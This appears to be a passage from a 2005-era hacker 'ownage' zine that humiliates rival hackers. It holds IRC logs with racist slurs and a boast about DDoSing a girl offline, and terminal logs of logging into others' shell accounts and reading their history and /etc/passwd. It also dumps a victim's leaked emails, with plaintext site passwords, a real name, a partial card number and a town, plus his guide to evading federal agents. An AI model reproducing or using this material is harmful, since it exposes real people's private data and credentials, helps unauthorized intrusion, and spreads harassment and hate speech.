13:13 <@devii> aof'hsoidgfisdfg
13:13 <@devii> go drink some more goon then.
13:13 <@rotor`> shut ur rich racist fucking mouth up
13:13 <@devii> petrol sniffuh.
13:13 <@rotor`> So
13:13 <@devii> LOL
13:13 <@rotor`> who cares
13:13 <@devii> Haha
13:13 <@devii> Or steel another one of my thongs.
13:13 <@devii> GO ON DO IT.
13:13 <@rotor`> wow im not a rich stuck up daddys girl
13:13 <@devii> JUST ONE THOUGH.
13:14 <@rotor`> WOWO
13:14 <@devii> Aawh ;p
13:14 <@Torhne> HE WILL STEAL THAT SHIT WHEN YIOU ARE WEARING IT #
Can this kid just shut the fuck up..
13:14 <@devii> ROFL.
13:14 <@rotor`> MY DADDY DOSNT SUPPLY ME EVERYTHING #
Probably because he is a drunk.
13:14 -!- mode/#Killerz [+b *!*@203.51.179.47] by rotor`
13:14 <@devii> COS THATS WHAT ABBO'S DO.
13:14 -!- devii was kicked from #killerz by ping [Banned]
13:14 <@rotor`> no one bags on my heritage
13:35 <@rotor`> blizzy she isnt online anymore
13:36 < blizzy> why?
13:36 <@rotor`> i ddos'd her off
13:36 < blizzy> ok..
# From DDoS attacking NSA to DDoS attacking girls on IRC.... He is truly a
great hacker.
Handles rotor also uses:
fedsown
0mgbatm0n
[7] Conclusion
r0t0r check list:
1. Own killerz [CHECK]
2. Own matts.homeunix.net [CHECK]
3. Find more shells and own them [CHECK]
4. Expose rotor as a fake and a drunk [CHECK]
5. Expose r0t0rs lame roots [CHECK]
6. Find his cisco's which he uses to DoS people [CHECK]
7. Get his passwords and see if I can find a naked [CHECK]
22.txt-~-~-~ hackthismoron.org [aka. soulsyphon cant hack]
th1s k1d h4s n0th1ng & 1z n0th1ng. l34rn t0 h4ck br0.
bash# ssh soulsyphon@66.101.226.96
soulsyphon@66.101.226.96's password:
Last login: Tue May 3 01:25:22 2005 from 127.0.0.1
OpenBSD 3.6-stable (GENERIC) #1: Mon May 2 10:59:21 EDT 2005
Please visit http://www.metawire.org
Support: support@metawire.org or #mwsupport on irc.metawire.org
Type 'motd' for more information.
News
----
* Sorry about all the problems. If you've emailed Support, we are just getting
the proper amount of stability to check support mail without having a crash.
Hopefully I'll get to your support mail soon, but I am going to start with
the oldest mails first! -Catcher
* If anyone notices any problems with Apache (specifically php & pgsql),
please email zerash@metawire.org.
* If there are any PostGreSQL specialists out there who have a little extra
time, our 'Releases' section on the website sure could use a psql tutorial!
If I find any honest (meaning good/useful :P) efforts, I'm sure we could
make it worth said users time... just drop the tutorial into your homedir
somewhere and email info about it to support@metawire.org ! <3
* Webmail has been fixed, and will stay fixed this time, everyone can thank
optix if they really feel like doing so.
* If you run a BNC or any type of irc-proxy, or even have one in your
home-dir, you will be removed on the spot. No questions asked.
* Users1 CANNOT leave anything running on logout. You will be removed if you
do so.
PLEASE take the time to type the 'rules' command so you don't end up deleted
and not knowing why!! ;) --Staff
soulsyphon@metawire ~
-> ls -al
total 696
drwxr-xr-x 8 soulsyphon users2 1024 Apr 7 15:24 .
drwxr-xr-x 4476 root wheel 109568 May 2 16:40 ..
drwx------ 3 soulsyphon users2 512 Jan 1 01:24 .BitchX
-rw-r--r-- 1 soulsyphon users2 0 Dec 22 21:54 .addressbook
-rw------- 1 soulsyphon users2 2285 Dec 22 21:54 .addressbook.lu
-rw------- 1 soulsyphon users2 2474 May 3 01:28 .bash_history
-rw-r--r-- 1 soulsyphon users2 65 Dec 23 00:07 .bash_profile
-rw-r--r-- 1 soulsyphon users2 65 Dec 23 00:06 .bashrc
-rw-r--r-- 1 soulsyphon users2 768 Dec 22 15:43 .cshrc
drwx------ 2 soulsyphon users2 512 Dec 24 03:02 .irssi
drwx------ 2 soulsyphon users2 512 Dec 23 20:32 .links
-rw-r--r-- 1 soulsyphon users2 317 Dec 22 15:43 .login
-rw-r--r-- 1 soulsyphon users2 105 Dec 22 15:43 .mailrc
-rw------- 1 soulsyphon users2 10623 Dec 22 21:55 .pine-debug1
-rw------- 1 soulsyphon users2 11168 Dec 22 21:54 .pine-debug2
-rw------- 1 soulsyphon users2 15653 Dec 22 21:54 .pinerc
-rw-r--r-- 1 soulsyphon users2 199 Dec 22 15:43 .profile
-rw------- 1 soulsyphon users2 126 Dec 22 15:43 .rhosts
drwx------ 2 soulsyphon users2 512 Jan 17 00:25 .ssh
-rw-r--r-- 1 soulsyphon users2 40162 Apr 7 15:33 cobol.jpg
drwxr-xr-x 2 soulsyphon users2 512 Dec 31 21:33 code
-rwx------ 1 soulsyphon users2 22676 Jan 10 14:49 elf
-rw-r--r-- 1 soulsyphon users2 30817 Apr 7 15:32 perl.jpg
lrwxr-xr-x 1 soulsyphon users2 25 Dec 22 15:52 public_html -> /var/www/users/soulsyphon
drwxr-xr-x 2 soulsyphon users2 512 Dec 23 02:04 src
-rw-r--r-- 1 soulsyphon users2 24764 Oct 23 2004 ss.jpg
-rw-r--r-- 1 soulsyphon users2 22970 Dec 31 21:09 ss_rogue.jpg
-rw-r--r-- 1 soulsyphon users2 9187 Jan 7 03:48 users2
-rw-r--r-- 1 soulsyphon users2 7129 Jan 10 23:46 white_black.txt
soulsyphon@metawire ~
-> cat .bash_history
w
w | grep soul
cat .bash_h
cat .bash_history
rm .bash_history
exit
ssh 66.205.242.107 -l shardz
ssh 66.205.242.107 -l shardz -T
ssh 66.205.242.107 -l shardz -T
ssh 66.205.242.107 -l shardz -T
ssh 66.205.242.107 -l shardz -T
ssh 66.205.242.107 -l shardz -T
ssh 66.205.242.107 -l shardz -T
ssh 66.205.242.107 -l shardz -T
fg 1
ssh 66.205.242.107 -l shardz -T
ssh -l shardz 66.205.242.107
exit
w
ssh 66.205.242.107 -l shardz
exit
cd public_html
ls
ls -l hqwe
w
w | grep soulsyphon
ps ux
w
ps ux
killall soulsyphon
kill -9 26604
w
w | grep soul
watch w | grep soul
whereis watch
watch w | grep soul
w | grep soul
w | grep soul
w | grep soul
ps ux
w
irssi
id
laksdfj
ls
cd public_html
ls
gcc smokingtwojoints.c -o smoke
ls
exit
cd public_html
cd images/
ls
w
w | grep soul
ps ux
ps ux
killall sshd
kill -9 15079
ls -la
cat .bash_history
ls
ssh -l shardz 66.205.242.107
riles
rules
ps auxz | grep bnc
ps axu | grep bnc
ps aux
ls
cat white_black.txt
ssh 66.205.242.107
ssh 66.205.242.107 -l shardz
ls
ls -la
cd /var/www/users
ls -la soul
ls -la soulsyphon/
cd
exit
last soulsyphon
ssh 67.51.9.134
exit
ssh 67.51.9.134
telnet 67.51.9.134
exit
lynx 67.51.9.134
lynx 67.51.9.134
lynx 67.51.9.134
lynx 67.51.9.134
lynx 67.51.9.134
lynx 67.51.9.134
lynx 67.51.9.134
lynx 67.51.9.134
ssh 67.51.9.134
lynx 67.51.9.134
ssh 67.51.9.134
last soulsyphon
ssh 67.51.31.208
ssh 67.51.31.208
w | grep soul
ssh 67.51.31.208
ssh 67.51.31.208
id
w
ssh 67.51.33.208
last $USER
ssh 67.51.31.208
ifconfig eth0
exit
id
ssh 67.51.31.208 -l soulsyphon
lynx 67.51.31.208
exit
ssh 67.51.31.208 -l soulsyphon
exit
ssh 67.51.31.208
ssh 67.51.31.208
exit
ls
cd code
ls
cat *
cat * | mail soulsyphon@gmail.com
ls
cd ..
ls
cd pubic_html
ls
cd public_html
ls
cd ..
exit
q
w
last
last b_kristins
ls /home | grep b_kristins
last b_kristinsson
lynx soulsyphon.dyndns.org
ifconfig eth0
ifconfig
ifconfig eth
ifconfig eth0
exit
lynx soulsyphon.dyndns.org
lynx soulsyphon.dyndns.org
last b_kri
clear
exit
irssi wow.wowirc.com
clear
irssi
exit
ping soulsyphon.dyndns.org
clear
nslookup soulsyphon.dyndns.org
ping 67.51.12.122
ssh 6.51.12.122
ssh 67.51.12.122
irssi
ping 67.51.12.122
irssi
ping 67.51.12.122
/clear
clear
clear
ls
irssi
clear
ircssi
irssi
ping soulsyphon.dyndns.org
exit
lynx soulsyphon.dyndns.org
clera
exit
ckeer
clear
lynx soulsyphon.dyndns.org
lynx soulsyphon.dyndns.org
soulsyphon@metawire ~
-> exit
logout
4 h0no m3mb3r sl3pt w1th 4 gm41l 3mpl0y33 4nd sh3 g4v3 us
4cc3ss t0 s0ulsyh0n'z 4cc0unt (th4nkz 4shl3y!).
From: soulsyphon <soulsyphon@gmail.com>
Reply-To: soulsyphon <soulsyphon@gmail.com>
To: xec96@hackthissite.org
Date: Dec 22, 2004 12:09 AM
Subject: who wants to bet my gmail is being watched now :D
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
If you refuse to open .docs, or cant here is the text.
<article>
How to Spot a Fed
By soulsyphon
Due to the recent raids on practically everyone around me I felt that
this article is relevant if not pertinent to anyone and everyone :).
Anyways first off IRC. Just because you can't see the people your
talking to, and you don't know who they are doesn't mean that they
don't know who you are or were you live. Even if they don't, talking
to the wrong person might peak the interest of a federal agent and
spur them to do some investigation into who you are. Anyways very
rarely will a federal agent chat in the main channel, most likely they
will idle about or join and then quit. The reason they join and then
quit is that they are gathering a list of who is in what channel, what
status they have in the channel (Voice, non voice, ops). This is so
that they can create a list of people's handles and what hosts they
come from. Anyways the feds who idle about usually will look for kids
who are prone to bragging and then pm them about their
accomplishments. They will ask questions like "have you any roots" or
hacks or some shit like that. They might ask you your name, phone
number stuff like that. Once they have more information on you they
might say they live near you, or something like that in order to gain
your trust. Feds usually sport nicks that mix leet speak with regular
words but they wont have memorable nicknames. Sometimes if they think
your big time and/or have no evidence on you they will give you a
shell on a box. This box will be heavily monitored, and everything
will be backed up. Expect ssh, telnet, and ftp to be logged at
minimum. Think of it as a honeypot where you personally invite the
hackers into it :). I've heard stories about rm not working correctly
files that were supposedly deleted coming back. These are common
symptoms of a virtual machine, usually a windows box running VMWare
linux. This is probably because they cant properly run linux ;), and
VMWare can take snap shots of a system making it easy to log and
timestamp. They also might invite you to a "private" IRC server, find
out from someone you trust whether it's a legit IRC server otherwise
its probably one they just setup. This is so that they can find out
your real IP address and make their logs more legitimate. So in order
to protect yourself from letting the feds know too much, don't tell
them where you live, except general answers, like US, UK etc. Get a
bounce point for IRC, this just obscures your connection even more.
Best bet would be to find one outside your home country. Don't brag.
This one is tough, I've fallen victim to this one, so I understand.
Its hard when you own a big site or even your first site to not brag
about it. Well think of it this way it might be your last
box/site/mail account whatever, if you don't keep quiet. IRC logs are
becoming more and more popular to use in court and the CIA just got
the OK to use funds to monitor IRC channels. Finally feds in real life
particular at cons. Well now you IRL ;), at a con or w/e the same
rules for IRC apply here don't brag blah blah. Since I don't know too
much about feds at cons Ill give you the only advice I have. Two
things: One, they cant lie when asked if they are a federal agent and
Two, they only use real film. This is because digital pictures are too
easy to doctor. As digital cameras become cheaper and cheaper, real
film cameras seem more and more suspicious. Well that's all kids. Have
fun, hack whitehats, hack dubya, there are no rules except don't get
caught :).
ss
<\article>
how to spot a fed.doc
23K Download
From: rewt <rewtobliteration@bellsouth.net>
To: soulsyphon@gmail.com
Date: Jul 13, 2004 11:29 PM
Subject: c program
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
#include <stdio.h>
int main()
{
int grade_1, grade_2, grade_3, final_grade;
final_graade == grade_1 + grade_2 + grade_3;
printf("Please enter your first student's grade then press enter\n");
scanf("%d", &grade_1);
printf("Please enter your second student's grade then press enter\n);
scanf("%d", &grade_2);
printf("Please enter your final student's grade then press enter\n);
scanf("%d", &grade_3);
/* next section finds average of 3 student grades, print grades to
screen, and prints average */
printf("Your three students grades are grade_1, grade_2, and grade_3
Your students averages will be printed o
From: LockPicks.com <noreply@69.20.111.51>
To: soulsyphon@gmail.com
Date: Jul 19, 2004 2:21 PM
Subject: Your Password For Our Store:
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Your Password for our store is: 5f7h8a10c6i1b
Note: Please do not reply to this email address. For contact information, please visit our website. Thank you.
From: muzzleflash.org <muzzleflash@muzzleflash.org>
To: soulsyphon <soulsyphon@gmail.com>
Date: Aug 18, 2004 7:28 PM
Subject: Welcome to muzzleflash.org
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Hello soulsyphon,
Welcome to muzzleflash.org, here are your login details:
Username: soulsyphon
Password: snuzi
Regards,
muzzleflash.
From: newuser@manson.vistech.net <newuser@manson.vistech.net>
To: soulsyphon@gmail.com
Date: Sep 9, 2004 2:33 AM
Subject: Your OpenVMS/MANSON/DAHMER/CLUSTER Account!
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Hello!
Your account on the Deathrow OpenVMS cluster has been created!
**README**README**README**README**README**README**README**README**README**
If you _plan_ on using a SSH client, you MUST _TELNET_ into MANSON.VISTECH.NET
or DAHMER.VISTECH.NET and change your password! After your first time
on the cluster and changing your password, you can then use your favorite
SSH client to connect. You _MUST_ TELNET in FIRST!!!!
-----------------------------------------------
Your username/temporary password is as follows:
Username: soulsyphon
Password: 728279660
-----------------------------------------------
You can TELNET in without limits, but we prefer you use SSH.
If you have any problems logging in, or any other questions,
please email admin@deathrow.vistech.net
Once you get to the DCL command prompt, type "HELP" for more information.
Remember, this is _NOT_ Unix or Linux!!!
Machines in the cluster are as follows [By NODE name]:
----------------------------------------------------------------------------
DAHMER = DEC Alpha (64 bit processor) under OpenVMS 7.2 [Fastest Machine!]
MANSON = DEC uVAX (32 bit processor) under OpenVMS 7.2
Also, be sure and check out the Deathrow BBS system ["The Upper Deck].
Once you log in, type "NOTES" at the DCL/command prompt!
For more information about the OpenVMS operating system,
check out http://manson.vistech.net or http://deathrow.vistech.net
Thanks! - Da Beave (beave@manson.vistech.net)
From: services@hackthissite.org <services@hackthissite.org>
To: artishard <soulsyphon@gmail.com>
Date: 26 Sep 2004 04:15:56 -0000
Subject: Nickname Registration (artishard)
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Hi,
You have requested to register the following nickname artishard.
Please type " /msg NickServ confirm biuMd5PdF " to complete registration.
If you don't know why this mail is sent to you, please ignore it silently.
PLEASE DON'T ANSWER TO THIS MAIL!
HackThisSite administrators.
.
J!NX Support to me
More options 10/5/04
Hello XXXXX XXXXX,
Thanx for supporting J!NX! This email is a confirmation that your order was
placed successfully. You can scroll down for the order details.
If you have any questions you can contact us at:
Email Support: support@jinx.com
Phone Support: Call Nooch (Brian) at 888.323.8324
Sincerely,
Jinx, Queue, Windminstral, Tink, Prowler, Nooch, Zimmy and Strider
http://www.JINX.com
*******************************
YOUR ORDER INFORMATION:
*******************************
Order Number: 81059
PAYMENT INFORMATION:
Payment Method: Credit Card #5...5327
XXXXX XXXXX
soulsyphon@gmail.com
XXX XXXXXX XXXXXXX XX
Montgomery, NY 12549
United States
SHIPPING INFORMATION:
XXXXX XXXXX
XXX XXXXXX XXXXXXX XX
Montgomery, NY 12549
United States
Shipping Carrier: UPS
Shipping Method: Ground
ORDER DETAILS:
1 Black 8" x 2" Got Root Sticker @ $1.99 each
1 Yellow 5" x 3.5" Hacking Permit Sticker @ $2.99 each
1 Black N/A J!NX Laptop Backpack @ $79.95 each
1 Black OS DEF CON Beanie @ $14.95 each
Subtotal..: $99.88
Tax.......: $0.00
Shipping..: $8.64
Total.....: $108.52
We will send you a package tracking email as soon as your order ships.
You can check your order status at any time by visiting:
http://www.JINX.com/scripts/my_account.asp
If you need help with your order, please visit our FAQ section at:
http://www.JINX.com/faqs/
*******************************
From: DALnet Registration Services <registration@dal.net>
To: soulsyphon <soulsyphon@gmail.com>
Date: Dec 19, 2004 1:13 AM
Subject: Welcome to DALnet!
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Hello soulsyphon,
You are receiving this message as part of an automated nickname
registration system on the DALnet IRC network. If you did not request
this service, you may simply ignore this message or see the end of
this e-mail for more information.
************ YOUR REGISTRATION IS NOT YET COMPLETE **********************
There are instructions in this e-mail for the final steps to finish your
registration. If you ignore this e-mail, your registration will be
purged. Please read this mail *thoroughly*.
By using the DALnet IRC Services you agree to be bound by its Acceptable
Use Policy. Please read this policy: http://www.dal.net/aup
Please take a moment right now to write down your nick password.
The password you chose is: vt109.a
-----------------------------
Keep in mind that it is YOUR responsibility to maintain the privacy and
security of your DALnet password and the e-mail address that you have used
to register it with. Should you at some point forget your password, you
may use the e-mail address you have given us to send the password to you.
(See /msg NickServ@services.dal.net help sendpass for more info)
If you have an insecure e-mail address and wish to stop any use of the
SENDPASS command, you may use the MAILBLOCK setting.
(See /msg NickServ@services.dal.net help set mailblock for more info)
CAUTION: If you turn MAILBLOCK on, you will NOT be able to recover your
password. If you use this feature, you must remember your password on your
own!
If you ever need to change your e-mail address, please use the
'/msg NickServ@services.dal.net set email <password> <new-address>' command. It
is your responsibility to keep a valid email address with services at all
times should you ever need to recover your password.
DALnet has made a commitment to its users not to sell or
distribute any email addresses. For a detailed letter from DALnet's
CEO on the topic, visit http://www.dal.net/emailinfo.html
-----------------------------
By using an Internet Relay Service such as DALnet, you are opening
yourself up to an entire world of people. Most of these people are good,
fun loving people who are great to chat with. Some people, however, do not
have the best of intentions. DALnet advises you to NEVER give out personal
information and NEVER download and use a file that you are not 100% sure
about. Below are links to some documents that will help you get accustomed
to life on DALnet and help you IRC more safely. It will be expected by our
staff that you have read each of these documents before you seek assistance.
General DALnet/IRC Tips - http://docs.dal.net
Password Guide - http://docs.dal.net/docs/passwords.html
DALnet IRC Operators - http://docs.dal.net/docs/operinfo.html
IRC Impersonators (Services & Opers) - http://docs.dal.net/docs/ircimps.html
Managing IRC Annoyances - http://docs.dal.net/docs/annoy.html
Securing Windows Against Trojans - http://docs.dal.net/docs/exploits.html
These documents and more can be found @ http://docs.dal.net
And in a straight text format @
ftp://ftp.dal.net/dalnet/document/official-help/
-----------------------------
You have two choices on how to COMPLETE YOUR REGISTRATION:
The next time you are online you can send a special message to NickServ:
/msg NickServ@services.dal.net AUTH soulsyphon R631616214614144
-OR-
You can follow this link and do it through the web:
http://users.dal.net/cgi-bin/auth.cgi?o=soulsyphon&i=R631616214614144
That's it! After entering the above command or clicking on the
above URL, you'll be able to change your nick options, send memos
to other users, and make use of DALnet's registered user site at
http://users.dal.net.
Thanks again for making DALnet your choice. :)
-----------------------------
****** IF YOU DID NOT REQUEST THIS E-MAIL **********
If you simply ignore this e-mail, the partial registration will soon be
purged from our system. If the mail was a mistake by a user, you will
likely not receive anything else from us. If you find that you are
continuing to get mails from DALnet's registration system, or you believe
that someone is intentionally using misusing your address, please contact
our Services Abuse team at SAbuse@DAL.net. Please include a copy of this
e-mail when contacting them.
Registration At: 2004-12-19 06:11:37 GMT
Registration By: ~ssyphon@209-210-86-192.nas2.mon.ny.frontiernet.net
-----------------------------
The DALnet IRC Network - http://www.dal.net /server irc.dal.net:6667
From: Haxor Radio <NSAWally@gmail.com>
Reply-To: Haxor Radio <NSAWally@gmail.com>
To: soulsyphon@gmail.com
Date: Dec 28, 2004 1:43 AM
Subject: Password for soulsyphon
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Welcome to Haxor Radio (http://www.hbx.us/radio/)!
You or somebody else has already used this e-mail
address to create an account.
(soulsyphon@gmail.com) to register an account at
Haxor Radio. The information stored about you is
as follows:
User name: soulsyphon
Password: SfqmZt6D
From: HBX Networks <hbxnetworks@gmail.com>
Date: Dec 30, 2004 11:22 PM
Subject: Gmail Bug
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Sup?
Click "Show Options" next to the time and date.
In the "Reply To" field, you should see part of someone else's email.
From: info@shipit.ubuntulinux.org <info@shipit.ubuntulinux.org>
To: undisclosed-recipients
Date: Feb 23, 2005 11:19 PM
Subject: Password for Ubuntu CD Distribution DB
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Your password in the Ubuntu CD Distribution Database has been
changed. Your new password is: pejmq9p
To log into the system, use your email address and this password at:
http://shipit.ubuntulinux.org
Feel free to contact us if you have any questions.
Thanks,
Shipit Administrator
From: Crazy Legs <nissemann@gmail.com>
Reply-To: Crazy Legs <nissemann@gmail.com>
To: soulsyphon@gmail.com
Date: Apr 3, 2005 2:08 PM
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Samba 3.x exploit!
Stolen from m00 security.
Keep it private or die bitch! (I just always wanted to say that)
m00-samba.tar.gz
1126K Download
From: message@message.myspace.com <message@message.myspace.com>
To: soulsyphon@gmail.com
Date: Apr 6, 2005 6:10 PM
Subject: MySpace Account Confirmation
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Hi soul -- Thanks for joining MySpace!
Here's your account info for logging in:
E-mail: soulsyphon@gmail.com
Password: %$#@!
Keep it secret. Keep it safe.
Please confirm your MySpace account by clicking here:
http://www.myspace.com/reloc.cfm?c=3&did=111DF0C0-46E5-475F-A5E1-CF53E72110C0&e=soulsyphon@gmail.com&id=12812260
======================
We hope you're having fun on the site. Have you checked out these areas yet?
* MUSIC - listen and download music from great new bands right on the site!
http://www.myspace.com/index.cfm?fuseaction=music
* BLOGS - write about your life. Read about your friends. Subscribe and get subscribers!
http://www.myspace.com/index.cfm?fuseaction=blog
* GROUPS - join a cool group or create your own! Either way you can find friends who share your interests.
http://www.myspace.com/index.cfm?fuseaction=groups
* GAMES - try for the high score on Gold Miner and hundreds of other games, then challenge your friends!
http://www.myspace.com/index.cfm?fuseaction=games
* RANK - who's the hottie? Are you the hottie? Submit your photo and find out...
http://www.myspace.com/index.cfm?fuseaction=RateImage.rate
======================
And don't forget to invite your friends!
http://www.myspace.com/index.cfm?fuseaction=invite
NOTE: This email is never sent unsolicited. If you believe you received this notification in error, please send an email to
privacy@myspace.com
-------------------------
At MySpace we care about your privacy. We have sent you this notification to facilitate your use as a member of the MySpace.com service. If you don't want to receive emails like this to your external email account in the future, change your Account Settings to "Do not send me notification emails."
Click here to change your Account Settings:
http://www.myspace.com/reloc.cfm?c=11
You can also contact us with any questions or concerns regarding your privacy at:
mailto:privacy@myspace.com
MySpace.com 6060 Center Drive, Suite 300, Los Angeles, CA 90045 USA
©2003 MySpace.com. All Rights Reserved.
<!-- __soulsyphon*gmail%com__ -->
From: soulsyphon <soulsyphon@gmail.com>
Reply-To: soulsyphon <soulsyphon@gmail.com>
To: soulsyphon@gmail.com
Date: Apr 4, 2005 11:44 AM
Subject: paper outline
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Jon Eiser
Mrs. Ross
English 101
April 4, 2005
I. Introduction
A. Introduce the issue of discrimination
B. Bring up the forms of discrimination against computer enthusiasts
1. Mislabeled
2. Treated as criminals
a. In the workplace
b. In the media.
C. Thesis
2. Background Information
A. Discuss various forms of "hackers"
1. White hat
2. Wargame kidz.
3. Black hat
B. Talk about the media treatment of various hackers.
3. Mislabeled
A. Gray hat is white hat
1. Gray hat is no such animal.
2. White hats don't understand black hats
B. Wargame kidz
1. Often mislabeled as black hats
2. Mostly harmless
a. Not sure what they are doing
b. Still learning haven't picked a path yet.
1. Could go either way white or black
C. Black hats
1. Often labeled as crackers or hackers
Your new password for Dungeons & Dragons Online Community Forums Inbox
Dungeons & Dragons Online Community Forums Forums <dndguy@turbinegames.com> to me
More options Apr 21
Hello,
As you requested, your password has now been reset. Your new details are as follows:
Username: soulsyphon
Password: 40890244
To change your password, please visit this page: http://www.ddo.com/forums/profile.php?do=editpassword
Regards,
New User Account Activation Inbox
admin@rpgbugs.com to me
More options Apr 24
Welcome to RPGBugs.com - The Net's Largest Exploiting Community!
You or someone else has used your email (soulsyphon@gmail.com) to create an account on RPGBugs.com - The Net's Largest Exploiting Community.
To finish the registration process you need to visit the link in the next 24 hours, otherwise the information will be automaticaly deleted by the system and you will need to apply again.
Your Premium Member Account will be fully active once you have visited the PayPal link on the following page :
http://www.rpgbugs.com/modules.php?name=Your_Account&op=activate&username=orbx&check_num=37db873c8a0ac0974c4ea324aabf6fb3
Following is the member information:
-Nickname: orbx
-Password: %$#@!
Should you lose the link to PayPal, you can pay for your Premium Membership by entering your Nickname on the Following page :
http://www.rpgbugs.com/modules.php?name=Your_Account&op=renew
Should you have any connection problems, please contact our customer service at :
admin@rpgbugs.com
From: soulsyphon <soulsyphon@gmail.com>
Reply-To: soulsyphon <soulsyphon@gmail.com>
To: drsybah@gmail.com
Date: Sep 8, 2004 4:44 PM
Subject: Hey
Reply | Reply to all | Forward | Print | Add sender to Contacts list | Trash this message | Report phishing | Show original
Heres all the exploits I own and that php shell. Anyways... my address
is as follows:
XXX XXXXXX XXXXXXX XX
Montgomery NY 12549
You can address it to whoever :-p. Also Fooy just told me to ask you
for a copy of shop.c.
One last thing do you know if that Orinoco card your sending me can be
hooked up to like a cantenna or something? Hit me back...
Later Skater,
Soul Syphon
2 attachments . Download all attachments
own.php
16K Download
exploits.zip
318K Download
23.txt-~-~-~ hacker'z warez vaultz
th3s3 d0rkz c4nt 3v3n s3t up 4 b0x r1ght. th1z b0x w4z rm'd l1k3 th3
n3xt d4y c4us3 t4l0n h4d 4 h1zzy f1t.
myg0tr0x@csServer:~$ ssh achilles.flowsecurity.org -leepz
The authenticity of host 'achilles.flowsecurity.org (68.191.24.30)' can't be established.
RSA key fingerprint is ee:82:ca:9b:4f:d1:8c:de:5e:ee:5f:8d:89:05:62:a7.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'achilles.flowsecurity.org,68.191.24.30' (RSA) to the list of known hosts.
Password:
[===================================================================================]
Welcome to achilles.flowsecurity.org!
<--Rules-->
1. No hacking, scanning, or mapping outside localhost.
2. No irc services with the exception of using a client such as bitchx/irssi.
3. No sharing accounts with anyone other than yourself.
4. No dos'ing anything.
5. Learn something while your here =].
<--Services-->
FTP - So you can easily upload files to your home or www.
SSH - We run SSH for encrypted connection logins to this system.
HTTP - Access your www: http://achilles.flowsecurity.org/~username.
IRCD - We run irc.gotfault.org IRCd for FlowSec IRCNET =].
[===================================================================================]
Last login: Thu Jan 13 11:31:29 2005 from 127.0.1
[===================================================================================]
Welcome to achilles.flowsecurity.org!
<--Rules-->
1. No hacking, scanning, or mapping outside localhost.
2. No irc services with the exception of using a client such as bitchx/irssi.
3. No sharing accounts with anyone other than yourself.
4. No dos'ing anything.
5. Learn something while your here =].
<--Services-->
FTP - So you can easily upload files to your home or www.
SSH - We run SSH for encrypted connection logins to this system.
HTTP - Access your www: http://achilles.flowsecurity.org/~username.
IRCD - We run irc.gotfault.org IRCd for FlowSec IRCNET =].
[===================================================================================]
eepz@achilles:~$ ls -al /home
total 56
drwxr-xr-x 14 root root 4096 2005-01-12 10:41 .
drwxr-xr-x 21 root root 4096 2005-01-09 11:26 ..
drwxr-x--- 3 boxocide www-data 4096 2005-01-10 09:59 boxocide
drwxr-x--- 3 choix www-data 4096 2005-01-10 03:24 choix
drwxr-x--- 3 coki www-data 4096 2005-01-10 06:01 coki
drwx------ 4 eip www-data 4096 2005-01-12 05:59 eip
drwxr-x--- 3 h3x4gr4m www-data 4096 2005-01-10 08:04 h3x4gr4m
drwxr-x--- 4 nutshell www-data 4096 2005-01-12 07:49 nutshell
drwxr-x--- 3 setnf www-data 4096 2005-01-10 06:16 setnf
drwxr-x--- 3 skilar www-data 4096 2005-01-12 09:41 skilar
drwxr-x--- 3 sysbug www-data 4096 2005-01-10 03:35 sysbug
drwxr-x--- 4 talon www-data 4096 2005-01-12 10:44 talon
drwxr-x--- 4 vile www-data 4096 2005-01-09 11:23 vile
drwxr-x--- 6 xtix www-data 4096 2005-01-10 18:56 xtix
eepz@achilles:~$ ls -al /home/talon/public_html
ls: /home/talon/public_html: Permission denied
eepz@achilles:~$ ls - cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
man:x:6:12:man:/var/cache/man:/bin/false
uucp:x:10:10:uucp:/var/spool/uucp:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
irc:x:1012:100::/home/irc:/bin/false
nobody:x:65534:65534::/nonexistent:/bin/false
talon:x:1000:1000::/home/talon:/bin/bash
sshd:x:101:65534::/var/run/sshd:/bin/false
snort:x:103:104::/var/log/snort:/bin/false
nutshell:x:1002:1002::/home/nutshell:/bin/bash
vile:x:1003:1003::/home/vile:/bin/bash
Debian-exim:x:1004:1004::/ircd:/bin/false
xtix:x:1005:1005::/home/xtix:/bin/bash
clamav:x:107:107::/var/lib/clamav:/bin/false
setnf:x:1001:1001::/home/setnf:/bin/bash
choix:x:1007:1007::/home/choix:/bin/bash
sysbug:x:1008:1008::/home/sysbug:/bin/bash
h3x4gr4m:x:1009:1009::/home/h3x4gr4m:/bin/bash
coki:x:1006:1006::/home/coki:/bin/bash
mysql:x:104:108::/var/lib/mysql:/bin/false
boxocide:x:1011:1011::/home/boxocide:/bin/bash
eip:x:1010:1010::/home/eip:/bin/bash
skilar:x:1013:1013::/home/skilar:/bin/bash
ftp:x:100:65534::/home/ftp:/bin/false
eepz@achilles:~$ uname -a
Linux achilles 2.4.27-1-k7 #1 Wed Dec 1 20:12:01 JST 2004 i686 GNU/Linux
eepz@achilles:/$ cd /var/www
eepz@achilles:/var/www$ ls -al
total 12
drwxr-xr-x 2 root root 4096 2005-01-10 08:58 .
drwxr-xr-x 13 root root 4096 2005-01-09 11:17 ..
-rw-r--r-- 1 root root 220 2005-01-12 09:44 index.html
eepz@achilles:/var/www$ cat index.html
<html>
<title>GOTFaulT</title>
<br><br><br><br><br>
<h1><b><center>Future Site of GOTFaulT</center></b></h1>
<br><br><br><br><br>
<h3><b><center>FlowSecurity/NoSystem/Unl0ck/c0pz Alliance</center></b></h3>
</html>
eepz@achilles:/var/log$ last
